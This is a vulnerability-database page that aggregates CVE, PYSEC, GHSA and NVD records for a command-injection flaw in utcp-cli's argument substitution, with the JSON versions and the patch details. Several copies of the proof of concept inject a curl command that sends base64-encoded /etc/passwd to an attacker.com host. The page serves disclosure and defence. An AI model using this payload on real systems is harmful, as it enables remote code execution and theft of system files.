Vulnerability-Lookup

CVE-2026-45369 (GCVE-0-2026-45369)

Vulnerability from cvelistv5 – Published: 2026-05-14 20:14 – Updated: 2026-05-16 01:00

Title

python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Summary

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

Severity ?

8.3 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/universal-tool-calling-protoco…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	universal-tool-calling-protocol	python-utcp	Affected: < 1.1.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45369",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-16T00:59:46.654355Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-16T01:00:25.585Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "python-utcp",
          "vendor": "universal-tool-calling-protocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.3,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-14T20:14:50.993Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
        }
      ],
      "source": {
        "advisory": "GHSA-33p6-5jxp-p3x4",
        "discovery": "UNKNOWN"
      },
      "title": "python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45369",
    "datePublished": "2026-05-14T20:14:50.993Z",
    "dateReserved": "2026-05-12T00:51:29.085Z",
    "dateUpdated": "2026-05-16T01:00:25.585Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-560

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23

Details

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with: ```python tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}


Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

## Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impacted products

Name	purl
utcp-cli	pkg:pypi/utcp-cli

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli",
        "purl": "pkg:pypi/utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.1.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45369",
    "GHSA-33p6-5jxp-p3x4"
  ],
  "details": "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n \n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f\u0027{var_name}=$({substituted_command} 2\u003e\u00261)\u0027)\n```\n\nAnd executed via:\n\n```python\nshell_cmd = [\u0027/bin/bash\u0027, \u0027-c\u0027, script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n ```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n ## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "PYSEC-2026-560",
  "modified": "2026-07-01T20:23:10.958711Z",
  "published": "2026-06-29T11:50:49.296555Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/utcp-cli"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-33p6-5jxp-p3x4"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
}

GHSA-33P6-5JXP-P3X4

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:46

Summary

utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Details

Summary

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:56:01Z",
    "nvd_published_at": "2026-05-14T21:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f\u0027{var_name}=$({substituted_command} 2\u003e\u00261)\u0027)\n```\n\nAnd executed via:\n\n```python\nshell_cmd = [\u0027/bin/bash\u0027, \u0027-c\u0027, script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "GHSA-33p6-5jxp-p3x4",
  "modified": "2026-05-15T23:46:56Z",
  "published": "2026-05-14T20:56:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
}

FKIE_CVE-2026-45369

Vulnerability from fkie_nvd - Published: 2026-05-14 21:16 - Updated: 2026-06-17 10:51

Severity ?

8.3 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "python-utcp",
          "vendor": "universal-tool-calling-protocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3."
    }
  ],
  "id": "CVE-2026-45369",
  "lastModified": "2026-06-17T10:51:58.433",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.3,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45369",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-16T00:59:46.654355Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-14T21:16:48.220",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45369 (GCVE-0-2026-45369)

PYSEC-2026-560

Summary

Affected File

Vulnerable Code

Proof of Concept

Mitigation

Credit

GHSA-33P6-5JXP-P3X4

Summary

Affected File

Vulnerable Code

Proof of Concept

Patched

Mitigation

Credit

FKIE_CVE-2026-45369

Tags

Sightings

Nomenclature